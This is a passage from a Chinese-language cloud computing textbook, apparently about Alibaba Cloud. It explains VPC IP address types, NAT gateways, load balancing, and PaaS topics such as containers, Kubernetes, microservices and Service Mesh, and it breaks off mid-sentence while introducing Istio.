在云上,一台弹性计算服务器(ECS)的网卡代表着其转发能力,而服务器上配置的 IP 地址代表着其业务能力。IP 地址是弹性计算服务器访问外部或被外部访问的主要方式。在早期的经典网络中,云上服务器有两张网卡,其中公网网卡可以配置一个公网 IP 地址访问公网域,私网网卡可以配置一个私网IP 地址访问私网域。而在 VPC 中,相比经典网络,IP 地址具有更多的类型和特性,包括私网 IP 地址、弹性公网 IP 地址、弹性公网 IP 地址的网卡可见模式、IPv6 地址等,后面将详细讲解。 (1)私网 IP 地址 私网 IP 地址,顾名思义,它是一个私网地址域里的地址。在 VPC 中,大部分私网 IP 地址遵循 RFC 1918 中地址的分类,采用以下三个地址段作为 VPC的私网地址段。10.0.0.0 ~ 10.255.255.255(10/8 位前缀)172.16.0.0 ~ 172.31.255.255(172.16/12 位前缀)192.168.0.0 ~ 192.168.255.255(192.168/16 位前缀) 用户在创建 VPC 时,可以选择这三个地址段中的一个作为 VPC 的私网地址段。在创建弹性计算实例或者弹性网卡时,会根据其所属的 VPC 和交换机分配一个私网 IP 地址。不同于物理网络,云上的私网 IP 地址都是由 SDN 控制器来管理的,直接在弹性计算服务器内配置一个未分配的 IP 地址是不能直接访问 VPC 的。使用私网 IP 地址不可以直接访问公网,如果要访问公网,则需要绑定弹性公网 IP 地址或者 NAT 网关等。私网 IP 地址可以用于以下场景中:负载均衡。同一 VPC 内弹性计算实例之间内网互访。同一 VPC 内弹性计算实例与其他云服务(如 OSS、RDS 等)之间内网互访。通过高速通道连通的不同 VPC 的弹性计算实例访问。 不同于很多云服务提供商的实现,阿里云上的云服务是可以使用私网 IP地址作为其实例地址的。这使得云计算不需要绑定公网 IP 地址即可访问对应的云服务,既让用户的网络环境更加安全,又降低了使用成本。 (2)网卡多 IP 地址 网卡多 IP 地址指的是为单张网卡分配多个私网 IP 地址,网卡上原来分配的地址被称为“主 IP 地址”,而附加的 IP 地址被称为“辅助 IP 地址”。辅助 IP地址必须与网卡所在的交换机网段相同,IP 地址既可由用户指定,也可由系统分配。 辅助 IP 地址除了具备基本的私网访问能力,还可以:绑定弹性公网 IP 地址。通过 NAT 网关访问公网。负载均衡后端 IP 地址。 在大多数场景下,为一张网卡分配一个私网 IP 地址足以满足大部分需求,但在有些场景下,用户希望为网卡分配更多的 IP 地址,用于承载更多样的业务。 在云原生“大火”的当下,用户在弹性计算服务器上部署 Kubernetes 集群,构建云原生容器网络,需要为弹性计算服务器或弹性网卡配置更多的 IP 地址。当然,用户可以通过自定义网段或 Overlay 方式来配置多个 IP 地址。但是这些自定义的网段是不能使用云上各种各样的服务的,特别是 Overlay 方式增加了一层 Overlay 的外层包封装和解封装,对性能影响较大。而相应地,基于网卡多 IP 地址是产品化的方案,网卡多IP 地址几乎可以使用网卡主 IP 地址所有的云上特性,同时又有与弹性网卡相当的性能。辅助 IP 地址相比于弹性网卡是一种轻量级的实例,API 性能会好很多,同时弹性网卡受 PCI 地址的限制,单弹性计算服务器最多只能有 26 个,因此在部署容器类业务时有更大的优势。 (3)弹性公网 IP 地址 弹性公网 IP 地址(Elastic IP Address,EIP)是可以独立购买与持有的公网IP 地址资源。目前,弹性公网IP 地址可被绑定到专有网络类型的弹性计算实例、专有网络类型的私网 SLB 实例、NAT 网关、高可用虚拟 IP 地址、弹性网卡、辅助 IP 地址等多种资源上。 弹性公网 IP 地址的优势如下:独立购买与持有 :可以单独持有一个弹性公网 IP 地址,作为账户下的一个独立资源存在,无须与其他计算资源或存储资源绑定购买。弹性绑定:可以在需要时将弹性公网 IP 地址绑定到所需的资源上 ;在不需要时,将之解绑并释放,避免不必要的计费。不同于经典网络的公网 IP 地址,对弹性公网 IP 地址可以灵活地进行绑定和解绑,更换所绑定的弹性计算实例,便于业务平滑迁移。可配置的网络能力 :可以根据需求随时调整弹性公网 IP 地址的带宽值,修改即时生效。弹性公网 IP 地址本质上是一种 NAT IP 地址,它实际位于公网网关上,通过 NAT 方式映射到被绑定的资源上。EIP 与云资源绑定后,云资源可以通过 EIP 与公网通信,因此,弹性公网 IP 地址不同于经典网络的公网 IP 地址,它在被绑定到弹性计算实例内部后是不能直接查看的。 (4)公网直通 IP 地址 正因 IPv4 地址资源匮乏,所以将私网 IP 地址通过 NAT 封装成公网 IP 地址访问公网是一种比较合理的方式。但由于 NAT 本身对数据包是有损转发的,所以对于应用层数据载荷中存在的 IP 地址或端口协议,仅对网络层和传输层的 IP 地址和端口进行NAT 转发是不够的,比如 H.323、SIP、FTP、SQLNET、DNS 等协议,当载荷里的IP 地址或端口不能被 NAT 封装时,这些协议便不能正常工作。业界常用的解决方案是 NAT ALG,而 NAT ALG 方案本身需要保存会话,同时需要修改更多的数据,系统复杂性较高,性能也会有一定的损耗。 前面提到,EIP 本身是一种 NAT IP 地址,虽然解决了弹性需求的问题,但由于没有 NAT ALG 的功能,对一些协议并不支持。另外,EIP 本身在弹性计算服务器系统内不可见,在一定程度上增加了管理复杂度。 为了解决 NAT IP 地址的不足,满足 VPC 下 NAT ALG 的需求,阿里云推出了EIP 网卡可见模式——既保持了 EIP 的弹性能力,又可以不经过 NAT 直接配置在弹性计算服务器里。这样就从另一个角度解决了 EIP 因为 NAT 而产生的缺陷,提升了用户体验,如图2-36 所示。图2-36 普通模式与EIP 网卡可见模式 此外,为了给容器等业务提供更多直通 IP 地址,阿里云还推出了多个 EIP的网卡可见模式,解决在容器应用场景下 NAT 带来的问题。 (5)IPv6 地址 随着互联网的急速发展,IPv4 地址资源基本消耗殆尽,2011 年 2 月 3 日,ICANN 宣告 IPv4 的公网地址已经全部分配,43 亿个 IP 地址总量已经远远不能满足行业的发展需求,特别是近几年物联网的快速发展,对 IP 地址的需求越来越大。早在 1993 年,为解决地址资源枯竭问题,IPng(IP next generation)工作组成立,并在 1995 年发布第一个规范(RFC 1883),然而 IPv6 的发展却非常缓慢。 IPv6 地址采用128 位的编址方式,地址空间容量是 IPv4 地址的 296 倍,几乎可以为每一粒沙子分配一个 IPv6 地址,不仅增加了地址空间,还提供了更高效的 IP 报头,协议在支持移动性、加密、认证、服务质量等方面比 IPv4前进了一大步,如图 2-37 所示。图2-37 IPv6 报头结构 2018 年,阿里云支持 IPv6 地址,弹性计算服务器从此可以配置 IPv6 地址,对外提供服务。阿里云 IPv6 地址采用 GUA(Global Unicast Address),既可用于私网访问,也可用于公网访问,同时在访问公网时不再需要 NAT,彻底解决了 IPv4 中NAT ALG 相关问题。在VPC IPv6 的地址分配中,完全可以按需划分子网段,网络可运维性有了较大的提升。 IPv4 是过去式,IPv6 是将来式,阿里云 VPC IPv6 的整体生态体系也在演进中,逐渐丰富,不会停止。3. 流量控制 云主机的流量控制包含两个层面:一是规格限速,根据购买的云主机规格,对云主机的整体网络能力的限制,包括 PPS(Packet Per Second)和 BPS(Bandwidth Per Second)限制。这是因为同一台宿主机上的云主机共享宿主机的物理带宽资源,单台云主机只能占用实例规格定义的网络能力,不会额外挤占物理机共享带宽,保证租户的隔离性。二是业务限速,根据云主机实际访问的流量类型进行的精细限速,如果云主机访问公网,那么它就会被用户实际购买的公网带宽限速。 (1)规格限速 云主机实例规格不仅定义了实例的 CPU 和内存的配置(包括 CPU 型号、主频等),同时也规定了该实例最大网络带宽、收发包处理能力(PPS)、支持的弹性网卡数目和每块弹性网卡支持的队列数目。规格限速不区分流量类型,只要总流量超过规格定义的最大带宽或 PPS,宿主机上的虚拟交换机就直接丢弃数据包。规格限速作用在实例级别,对于使用了多网卡的云主机,引入限速组概念,将虚拟机的所有弹性网卡加入同一限速组,通过对限速组进行限速,保证所有弹性网卡的总流量不超过实例规格。规格限速示意图如图 2-39 所示。图2-38 规格限速示意图 (2)业务限速 业务限速指根据云主机流量访问的是私网还是公网,是否跨可用区、跨地域(高速通道),分别进行限速。公网限速与高速通道限速在业务逻辑及实现上均大同小异,而公网限速应用范围最广,这里重点介绍公网限速。 VPC 默认无法访问公网,只有配置弹性公网 IP 地址或 NAT 网关才能连接公网。EIP与云资源绑定后,云资源可以通过 EIP 与公网通信。EIP 可被绑定到 VPC 类型的弹性计算实例、弹性网卡、VPC 类型的私网 SLB 实例,以及 NAT 网关实例上。NAT 网关是一种企业级的 VPC 公网网关,提供 NAT 代理(SNAT 和 DNAT)。NAT 网关与 EIP 最大的区别是, EIP 只能被绑定到单台云主机上,而 NAT 网关支持 VPC 内多台云主机共享同一个弹性公网 IP 地址访问公网。对于保有大量云主机的企业客户来说,购买一个 NATGW 实例就能让 VPC 内所有云主机都具备公网访问能力,并且将流量统计、监控都统一到单个实例上,简化管理运维。业务限速示意图如图 2-39 所示。图2-39 业务限速示意图 (3)流量计费 为了满足峰值流量需求,用户往往需要购买较大带宽,这就造成了在流量低峰时带宽浪费的情况。另外,大部分用户既购买了 EIP,又购买了 NAT 网关,总是存在 EIP 的带宽还有富余,而 NAT 网关的带宽已经不足的情况,或者反之。为了节省用户的成本,最大化地利用资源,在网络产品中又诞生了“共享流量包”和“共享带宽包”两个产品。共享流量包。共享流量包是公网流量的预付费套餐,价格比后付费流量的更低,并支持闲时峰谷流量包,大大降低了公网流量成本。共享流量包产品覆盖面广,按流量计费的ECS、EIP、SLB 和 NAT 网关都可以使用,且支持闲时流量包,价格更低。共享带宽包。共享带宽包是独立的带宽产品,提供高质量的多线 BGP带宽和丰富多样的计费模式,支持将 EIP 添加到共享带宽包中,这些EIP 将同时共享和复用带宽包中的带宽。用户将 EIP 绑定到专有网络ECS、NAT 网关、专有网络 SLB 等,让这些产品也可以使用共享带宽包。4. NAT 网关 (1)基本概念 NAT 网关(NAT Gateway)是一款企业级的公网网关,提供NAT 代理(SNAT和DNAT)、高达10Gb/s 级别的转发能力以及跨可用区的容灾能力。NAT 网关与共享带宽包配合使用,可以组合成高性能、配置灵活的企业级网关。NAT网关架构如图2-40 所示。图2-40 NAT 网关架构 NAT 技术是一种缓解IPv4 公网地址枯竭的方案,通过NAT 技术可以让大量的私网IP 地址使用少量的公网IP 地址与Internet 进行互访。 SNAT 和DNAT 是NAT 网关为ECS 提供公网服务的两种方式。SNAT 为源地址映射,即可以将内网ECS IP 地址转换成公网IP 地址,从而提供访问公网的能力。SNAT 只限于内网ECS 主动发起的外网访问请求。DNAT 为目的地址映射,即可以将公网地址映射成内网IP 地址,这样外部应用就可以主动访问到内部资源。DNAT 分为端口转发和IP 地址映射,其中端口转发指的是将同一个公网IP 地址+ 不同端口映射到不同内网IP 地址+ 不同端口;IP 地址映射是指将固定的公网IP 地址映射到唯一的内网IP 地址,内外网IP 地址一一对应。如表2-3 所示,DNAT 和SNAT 需要在NAT 网关上维护两张配置表,分别为DNAT 表和SNAT 表。表2-3 DNAT表和SNAT表 (2)产品优势 NAT 网关具有以下优势:灵活易用的转发能力。NAT 网关作为一款企业级 VPC 公网网关,提供SNAT 和DNAT 功能,用户无须基于云服务器自己搭建公网网关。NAT网关功能灵活、简单易用、稳定可靠。高性能。NAT 网关是基于阿里云自研的分布式网关,采用 SDN 技术开发的一种虚拟网络硬件。NAT 网关支持10Gb/s 级别的转发能力,为大规模公网应用提供支撑。高可用。NAT 网关跨可用区部署,可用性高,单个可用区的任何故障都不会影响NAT 网关的业务连续性。按需购买。NAT 网关的规格、EIP 的规格和个数均可以随时升降,轻松应对业务变化。 (3)使用场景 NAT 网关适用于专有网络类型的ECS 实例需要主动访问公网和被公网访问的场景。搭建高可用的 SNAT 网关。在 IT 系统中,往往存在一些服务器需要主动访问Internet,但出于安全性考虑,应避免将这些服务器所持有的公网IP 地址暴露在公网上。此时,可以使用NAT 网关的SNAT 功能实现这一需求,如图2-41 所示。图2-41 SNAT 功能架构提供公网服务。NAT 网关支持 DNAT 功能,将 NAT 网关上的公网 IP地址映射给ECS 实例使用,使ECS 实例能够提供互联网服务。DNAT支持端口映射和IP 地址映射,只需要在NAT 网关上创建DNAT 规则即可实现。DNAT 规则配置参数如表2-4 所示。表2-4 DNAT规则配置参数共享公网带宽。如果应用面向互联网,则需要为该应用购买公网带宽。为了应对业务流量可能发生的变化,在购买带宽时会考虑一定的冗余。当IT 系统中同时存在多个面向互联网的应用时,为每个应用购买冗余带宽会造成资源和成本的浪费。解决方式是将多个EIP 加入共享带宽包中,可以更好地进行公网带宽资源的管理和成本的控制。另外,多个面向互联网的应用可能存在流量错峰的情况,多个EIP 共享带宽功能可以进一步缩减公网带宽总量。5. SLB 负载均衡(Server Load Balancer,SLB)是将访问流量根据转发策略分发到后端多台云服务器(ECS 实例)的流量分发控制服务。同时负载均衡服务还扩展了应用的服务能力,增强了应用的可用性。负载均衡转发示意图如图2-42所示。图2-42 负载均衡转发示意图 负载均衡服务通过设置虚拟服务地址,将添加的同一地域的多个ECS 实例虚拟成一个高性能和高可用的后端服务器池,并根据转发规则将来自客户端的请求分发给后端服务器池中的ECS 实例。 负载均衡服务默认检查云服务器池中的ECS 实例的健康状态,自动隔离异常状态的ECS 实例,消除了单个ECS 实例的单点故障,提高了应用的整体服务能力。此外,负载均衡服务还具备防御DDoS 攻击的能力,增强了应用服务的防护能力。 (1)基础架构说明 负载均衡基础架构采用集群部署,提供四层(TCP 和UDP)和七层(HTTP和HTTPS)的负载均衡服务,可实现会话同步,以消除服务器单点故障,提升冗余,保证服务的稳定性。 负载均衡作为流量转发服务,将来自客户端的请求通过负载均衡集群转发至后端服务器,后端服务器再将响应通过内网返回给负载均衡服务。 阿里云当前提供四层和七层的负载均衡服务。四层采用开源软件LVS(Linux Virtual Server)+ keepalived 的方式实现负载均衡,并根据云计算需求对其进行个性化定制。七层采用Tengine 实现负载均衡。Tengine 是由淘宝网发起的Web 服务器项目,它在Nginx 的基础上,针对有大访问量的网站需求添加了很多高级功能和特性。 如图2-43 所示,各个地域的四层负载均衡服务实际上是由多台LVS 机器部署成一个LVS 集群来运行的。采用集群部署模式,极大地保证了异常情况下负载均衡服务的可用性、稳定性与可扩展性。图2-43 负载均衡基础架构 (2)入网流量路径 对于入网流量,负载均衡服务会根据用户在控制台或API 上配置的转发策略,对来自前端的访问请求进行转发和处理。入网流量路径如图2-44 所示。TCP/UDP和 HTTP/HTTPS 的流量都需要经过LVS集群进行转发。LVS 集群内的每一台节点服务器都均匀地分配海量访问请求,并且每一台节点服务器之间都有会话同步策略,以保证高可用。- 如果相应的负载均衡实例服务端口使用的是四层协议(TCP 或UDP),那么LVS 集群内的每个节点都会根据负载均衡实例的负载均衡策略,将其承载的服务请求按策略直接分发到后端ECS 服务器。- 如果相应的负载均衡实例服务端口使用的是七层 HTTP,那么 LVS集群内的每个节点都会先将其承载的服务请求均分到Tengine 集群,Tengine 集群内的每个节点再根据负载均衡策略,将服务请求按策略最终分发到后端ECS 服务器。- 如果相应的负载均衡实例服务端口使用的是七层 HTTPS,与上述HTTP 处理过程类似,差别是在将服务请求按策略最终分发到后端ECS 服务器前,先调用Key Server 进行证书验证以及数据包加解密等前置操作。图2-44 入网流量路径 (3)出网流量路径 负载均衡服务和后端ECS 服务器之间是通过内网进行通信的。出网流量路径如图2-45 所示。图2-45 出网流量路径 总体原则:流量从哪里进来,就从哪里出去。通过负载均衡服务进入的流量,在负载均衡服务上限速或计费,仅收取出方向流量费用,不收取入方向流量费用(未来可能会改变),负载均衡服务与后端ECS 服务器之间的通信属于阿里云内网通信,不收取流量费用。来自弹性公网 IP 地址或 NAT 网关的流量,分别在弹性公网 IP 地址或NAT 网关上进行限速或计费。如果在购买ECS 时选择了公网带宽,则限速/ 计费点在ECS 上。负载均衡服务仅提供被动访问公网的能力,即后端 ECS 服务器只有在收到通过负载均衡服务转发来的公网的请求时,才能访问公网回应该请求,如果后端ECS 服务器希望主动发起公网访问,则需要配置或购买ECS 公网带宽、弹性公网IP 或NAT 网关来实现。ECS 公网带宽(购买 ECS 时配置)、弹性公网 IP 地址、NAT 网关均可以实现ECS 的双向公网访问(访问或被访问),但没有流量分发和负载均衡的能力。
2.2 PaaS 什么是PaaS(Platform as a Service,平台即服务)? NIST(美国国家标准与技术研究院)对PaaS 的定义如下: 向用户提供将应用程序部署在云计算基础设施上的能力,这些应用软件使用提供商支持的编程语言、库、服务和工具。用户并不管理或控制底层云计算基础设施,包括网络、服务器、操作系统、存储,但对部署的应用程序有控制权,还可以配置应用程序的环境。 PaaS是构建在IaaS 之上的一种平台服务,是对软件的一个更高的抽象层次,触达应用程序的运行环境本身。如图2-10 所示,相比IaaS 而言,开发者无须接触运行时、中间件和底层操作系统,只需要关注应用程序部署和数据本身即可,对于想快速将应用程序部署到生产环境中,而不必关心底层硬件的用户或开发者来说,是特别有用的。图2-10 IaaS vs PaaS 最早的一代PaaS 是Heroku,Heroku 是商业PaaS, 还有一个开源的PaaS——Cloud Foundry,用户可以基于它来构建私有PaaS。如果同时使用公有云和私有云,并且能在两者之间构建一个统一的PaaS,那就是“混合云”了。 PaaS 平台提供了定制化软件研发和部署的中间件平台,也称为“中间件即服务”。在这个平台上包括软件的设计、程序的开发、应用的部署、测试等,它们都是以服务的形式提供给用户的。与IaaS 类似,用户不必考虑硬件层面和系统层面,只需要租用PaaS 平台即可,较之传统模式,它的成本支出要节省很多。 中间件的种类非常丰富,可以是数据库,也可以是完整的应用程序服务器,还可以是Business Process Management、消息中间件等,它们有的属于应用部署和运行平台APaaS(Application Platform as a Service),有的属于集成平台IPaaS(Integration as a Service)。 PaaS 平台也拥有云计算的特征,符合弹性的动态伸缩机制,用户可以根据企业的信息需求增加或减少系统模块、计算能力等资源。与IaaS 一样,PaaS也采用多租户(Multi-tenancy)原则,同一个系统或者数据库可以被多个用户租用,平台在每个用户之间逻辑隔离,数据不会相互影响和干扰。 在众多PaaS 平台服务商中,有的提供PHP 开发环境,有的提供Java 开发环境,有的则是面向C#、数据库等基础组件支持MySQL、Oracle、Redis、MongoDB 等,应用PaaS 需要在编程语言、基础组件等方面进行全面考虑,同时还要考虑平台的无缝迁移、负载均衡等能力。 下面简单介绍一下PaaS 架构。 PaaS 平台模块如图2-11 所示。图 2-11 PaaS 平台模块 由于Kubernetes(简称K8s)的成熟程度以及无可比拟的优势,Paas 层的基础架构基本上都采用Kubernetes。 PaaS 平台受众如图2-12 所示。图2-12 PaaS 平台受众2.2.1 核心技术1. 容器技术 (1)背景与价值 2008 年Linux 提供了 Cgroups 资源管理机制、Linux Namespace 隔离方案,让应用得以运行在独立沙箱环境中,避免相互之间产生冲突和影响。直到Docker 容器引擎开源,才在很大程度上降低了容器技术的使用复杂性,加速了容器技术的普及。Docker 容器基于操作系统虚拟化技术,共享操作系统内核,轻量、没有资源损耗、秒级启动,极大提升了系统的应用部署密度和弹性。更重要的是, Docker 提出了创新的应用打包规范 —— Docker 镜像,解耦了应用与运行环境,使应用可以在不同计算环境间一致、可靠地运行。借助容器技术呈现了一个优雅的抽象场景:让开发所需要的灵活性、开放性和运维所关注的标准化、自动化达成相对平衡。容器镜像迅速成为应用分发的工业标准。 容器作为标准化软件单元,它将应用及其所有依赖项打包,使应用不再受环境限制,可以在不同计算环境间快速、可靠地运行。传统部署、虚拟化部署和容器部署三种模式的比较如图2-13 所示。图2-13 传统部署、虚拟化部署和容器部署三种模式的比较 在过去几年,容器技术已经被广泛地应用在生产环境中,容器技术最受关注的三个核心价值如下:敏捷性。容器技术在提升企业 IT 架构敏捷性的同时,让业务迭代更加迅捷,为创新探索提供了坚实的技术保障。比如在新冠肺炎疫情期间,教育、视频、公共健康等行业的在线化需求出现爆发性增长,很多企业通过容器技术适时把握住了突如其来的业务快速增长机遇。据业界统计,使用容器技术可以获得 3~10 倍交付效率的提升,大大提高了新产品迭代的效率,并降低了试错成本。弹性。在互联网时代,企业 IT 系统经常需要面对促销活动、突发事件等各种预期内外的爆发性流量增长。通过容器技术,企业可以充分发挥云计算弹性优势,降低运维成本。一般而言,借助容器技术,企业可以通过部署密度提升和弹性降低 50% 的计算成本。以在线教育行业为例,面对新冠肺炎疫情之下呈指数级增长的流量,教育信息化应用工具提供商 Seewo(希沃)利用 ACK(Alibaba Cloud Container Service for Kubernetes,阿里云容器服务) 和 ECI(Elastic Container Instance,弹性容器实例)大大满足了快速扩容的迫切需求,为数十万名老师提供了良好的在线授课环境,帮助百万名学生进行在线学习。可移植性。容器已经成为应用分发和交付的标准技术,将应用与底层运行环境进行解耦。Kubernetes 成为资源调度和编排的标准,屏蔽了底层架构的差异性,帮助应用平滑运行在不同的基础设施上。CNCF(云原生计算基金会)推出了Kubernetes 一致性认证,进一步保障了不同Kubernetes 实现的兼容性,这也让企业愿意采用容器技术来构建云时代应用基础设施。 (2)容器编排 凭借优秀的开放性、可扩展性以及社区活跃度,Kubernetes 已成为容器编排的事实标准,被广泛用于自动部署、扩展和管理容器化应用。凭借优良的架构设计和可移植性,Kubernetes 已经被大家视为云应用的操作系统,越来越多的应用运行在其上。一些无状态的外部应用,以及企业核心的交易类应用、数据智能应用等,也运行在Kubernetes 平台之上。 企业可以通过 Kubernetes,结合自身业务特征来设计云架构,从而更好地支持多云/ 混合云,免去被厂商锁定的顾虑。随着容器技术逐步标准化,进一步促进了容器生态的分工和协同。基于 Kubernetes,生态社区开始构建上层的业务抽象,比如服务网格 Istio、机器学习平台Kubeflow、无服务器应用框架Knative 等。 Kubernetes 提供了如下分布式应用管理的核心能力。资源调度:根据应用请求的 CPU、内存资源量,或者 GPU 等设备资源,在集群中选择合适的节点来运行应用。应用部署与管理 :支持应用的自动发布、回滚,以及与应用相关的配置管理;也可以自动化存储卷的编排,让存储卷与容器应用的生命周期相关联。自动修复 :Kubernetes 可以监测集群中所有的宿主机,当宿主机或者OS 出现故障时,节点健康检查会自动进行应用迁移;Kubernetes 也支持应用的自愈,极大简化了运维管理的复杂性。服务发现与负载均衡 :通过 Service 资源出现各种应用服务,结合 DNS和多种负载均衡机制,支持容器化应用之间的相互通信。弹性伸缩 :Kubernetes 可以监测业务所承担的负载,如果业务本身的CPU 利用率过高,或者响应时间过长, 则可以对这个业务进行自动扩容。 Kubernetes 的控制平面包含四个主要的组件:API Server、Controller Manager、Scheduler 以及 Etcd,如图2-14 所示。 Kubernetes 关键设计理念如下。声明式 API:开发者可以关注应用自身,而非系统执行细节。比如Deployment(无状态应用)、 StatefulSet(有状态应用)、Job(任务类应用)等不同资源类型,提供了对不同类型工作负载的抽象;对 Kubernetes 实现而言,基于声明式 API 的level-triggered 相对于edge-triggered 方式可以提供更加健壮的分布式系统实现。可扩展性架构:所有 K8s 组件都是基于一致的、开放的 API 实现和交互的;第三方开发者也可通过 CRD(Custom Resource Definition)/Operator等方式提供与领域相关的扩展实现,极大提升了 K8s 的能力。可移植性 :K8s 通过一系列抽象如 LB(负载均衡)、CNI(容器网络接口)、CSI(容器存储接口),帮助业务应用屏蔽底层基础设施的实现差异,实现容器灵活迁移的设计目标。图2-14 Kubernetes 架构2. 微服务 (1)微服务发展背景 过去开发一个后端应用,最为直接的方式就是通过单体应用提供并集成所有的服务,即单体模式。随着业务的发展以及需求的不断增长,单体应用功能愈发复杂,参与开发的工程师规模可能由最初几个人发展到十几个人, 应用迭代效率因集中式研发、测试、发布、沟通模式而显著降低。为了解决单体模式带来的项目迭代流程过度集中的问题,微服务模式应运而生。 微服务模式将业务单元按照独立部署和发布的标准进行抽取与隔离,一个大而全的复杂应用能够被拆分成多个微小的相互独立的子功能,这些子功能被称为“微服务”,多个“微服务”共同形成了一个物理独立但逻辑完整的分布式微服务体系。这些微服务相对独立,通过解耦研发、测试与部署流程,提高了整体迭代效率。当其中的某一微服务无法支撑时,可以横向水平扩展,从而保证应用的高可用性,具有独立应用生命周期管理、独立版本开发与发布等能力,从根本上解决了单体应用在拓展性和稳定性上存在的先天架构缺陷。 微服务模型也面临着分布式系统的典型挑战,例如,如何高效调用远程方法、如何实现可靠的系统容量预估、如何建立负载均衡体系、如何面向松耦合系统进行集成测试、如何部署与运维大规模复杂关联应用…… (2)微服务架构 在微服务架构中,旁路服务注册中心作为协调者来完成服务的自动注册和发现。服务之间的通信以及容错机制开始模块化,形成独立服务框架。ApacheDubbo 微服务架构如图2-15 所示。图2-15 Apache Dubbo 微服务架构 (3)主要微服务技术Apache Dubbo 是阿里巴巴的一款开源的高性能的 RPC(Remote Procedure Call) 框架,其特性包括基于透明接口的 RPC、智能负载均衡、自动服务注册和发现、可扩展性高、运行时流量路由与可视化的服务治理。经过数年发展,它已是国内使用最广泛的微服务框架并构建了强大的生态体系。2018 年阿里巴巴陆续开源了 Spring- Cloud Alibaba( 分布式应用框架 )、Nacos(注册中心 & 配置中心)、Sentinel(流控防护)、Seata(分布式事务)、 Chaosblade(故障注入),以便让用户享受阿里巴巴十年沉淀的微服务体系,获得高性能、高可用等核心能力。从Dubbo v3 版本开始了Service Mesh 方面的技术演讲,目前 Dubbo 协议已被 Envoy 支持,数据层选址、负载均衡和服务治理方面的工作还在继续,目前控制层在持续丰富对 Istio/Pilot-discovery 的支持。Spring Cloud 为开发者提供了分布式系统需要的配置管理、服务发现、断路器、智能路由、微代理、控制总线、一次性 Token、全局锁、决策竞选、分布式会话与集群状态管理等能力和开发工具。Eclipse MicroProfile 作为 Java 微服务开发的基础编程模型,致力于定义企业 Java 微服务规范,提供指标、API 文档、运行状况检查、容错与分布式跟踪等能力,使用它创建的云原生微服务可以自由地部署在任何地方,包括 Service Mesh 架构。Tars 是腾讯将其内部使用的微服务框架 TAF(Total Application Framework)多年的实践成果总结而成的开源项目,在腾讯内部有上百个产品使用,服务于内部数千名 C++、Java、Go、Node.js 与 PHP 开发者。Tars 包含一整套开发框架与管理平台,兼顾多语言、易用性、高性能与服务治理,理念是让开发更聚焦于业务逻辑,让运维更高效。SOFAStack(Scalable Open Financial Architecture Stack)是由蚂蚁金服开源的一套用于快速构建金融级分布式架构的中间件,也是在金融场景下锤炼出来的最佳实践。MOSN 是 SOFAStack 的组件,它是一款采用Go 语言开发的 Service Mesh 数据平面代理,其功能和定位类似于 Envoy ,旨在提供分布式、模块化、可观测、智能化的代理能力。MOSN 支持Envoy 和 Istio 的 API ,可以与 Istio 集成。Dapr(Distributed Application Runtime,分布式应用运行时)是微软新推出的一种可移植的、Serverless、事件驱动的运行时,使用它开发人员可以轻松构建弹性、无状态和有状态的微服务,这些服务运行在云和边缘上,并包含多种语言和开发框架。3. Service Mesh 随着服务框架内功能的日益增多,跨语言的基础功能复用变得十分困难,这也就意味着微服务的开发者被绑定在某种特定语言上,从而违背了微服务的敏捷迭代原则。2016 年出现了一种新的微服务架构——Service Mesh(服务网格),原来被模块化到服务框架里的微服务基础能力,被进一步从一个SDK 演进成为一个独立进程——Sidecar。这个变化使得多语言支持问题得以彻底解决,微服务基础能力演进和业务逻辑迭代彻底解耦。这种架构就是云原生时代的微服务架构——Cloud Native Microservices,Sidecar 进程开始接管微服务应用之间的流量,承载了服务框架的功能,包括服务发现、调用容错以及丰富的服务治理功能,例如权重路由、灰度路由、流量重放、服务伪装等。 (1)技术特点 Service Mesh 是分布式应用在微服务架构之上发展起来的新技术,旨在将微服务之间的连接、安全、流量控制和可观测等通用功能下沉为平台基础设施,实现应用与平台基础设施的解耦。这个解耦意味着开发者无须关注微服务相关治理问题,而是聚焦于业务逻辑本身,提高了应用开发效率,加速了业务探索和创新。换句话说,因为大量非功能性的代码实现从业务进程剥离到另外的进程中,Service Mesh 以无侵入的方式实现了应用轻量化。 Service Mesh 的典型架构如图2-16 所示。图2-16 Service Mesh 的典型架构 在图2-16 中,Service A 调用 Service B 的所有请求都被其下的 Proxy(在Envoy 中是 Sidecar) 截获, 代理 Service A 完成到 Service B 的服务发现、熔断、限流等策略,而这些策略的总控是在 Control Plane 上配置的。 从架构上看,Istio 可以运行在虚拟机或容器中,Istio 的主要组件包括 Pilot(服务发现、流量管理)、Galley(注册管理)、Mixer(访问控制、 可观测性)、Citadel(终端用户认证、流量加密)。整个服务网格关注连接和流量控制、可观测性、安全和可运维性。相比较来说,虽然服务网格场景增加了4 个IPC 通信的成本,但随着软硬件能力的提升,并不会给整体调用的延迟带来显著的影响,特别是对于百毫秒级别的业务调用而言,可以控制在2% 以内。此外,服务化的应用并没有做任何改造,就获得了强大的流量控制、服务治理、可观测性、4 个 9 以上高可用性、容灾和安全等能力,再加上业务的横向扩展能力,整体收益仍然是远大于额外 IPC 通信支出的。 在服务网格的技术发展上,数据平面与控制平面之间的协议标准化是必然趋势。大体上,Service Mesh 的技术发展围绕着“事实标准”来展开——共建各云厂商所共同采纳的开源软件。 从接口规范的角度看,Istio 采用了 Envoy 所实现的 xDS 协议,将该协议当作数据平面和控制平面之间的标准协议。微软提出了 Service Mesh Interface(SMI), 致力于让数据平面和控制平面的标准化做更高层次的抽象,以期为Istio、Linkerd 等 Service Mesh 解决方案在服务观测、流量控制等方面实现最大程度的开源能力复用。UDPA(Universal Data Plane API)是基于 xDS 协议发展起来的,根据不同云厂商的特定需求可以便捷地进行扩展并由 xDS 承载。此外,数据平面插件的扩展性和安全性也得到了社区的广泛重视。 从数据平面角度看,Envoy 得到了包括 Google、 IBM、Cisco、微软、阿里云等大厂的参与共建,以及主流云厂商的采纳而成为事实标准。在 Envoy 的软件设计为插件机制提供良好扩展性的基础上,目前正在探索运用 Wasm 技术对各种插件进行隔离,避免因为某一插件的软件缺陷而导致整个数据平面不可用。Wasm 技术的优势除了能提供沙箱功能,还能很好地支持多语言, 最大程度地让掌握不同编程语言的开发者可以使用自己所拥有的技能去扩展 Envoy 的能力。 在安全方面,Service Mesh 和零信任架构天然有很好的结合,包括 POD Identity、基于 mTLS 的链路层加密、在 RPC 上实施 RBAC 的 ACL、基于Identity 的微隔离环境(动态选取一组节点组成安全域)。 (2)主流技术 2017 年发起的服务网格 Istio 开源项目,清晰地定义了数据平面(由开源软件 Envoy 承载)和管理平面(Istio 自身的核心能力)。Istio 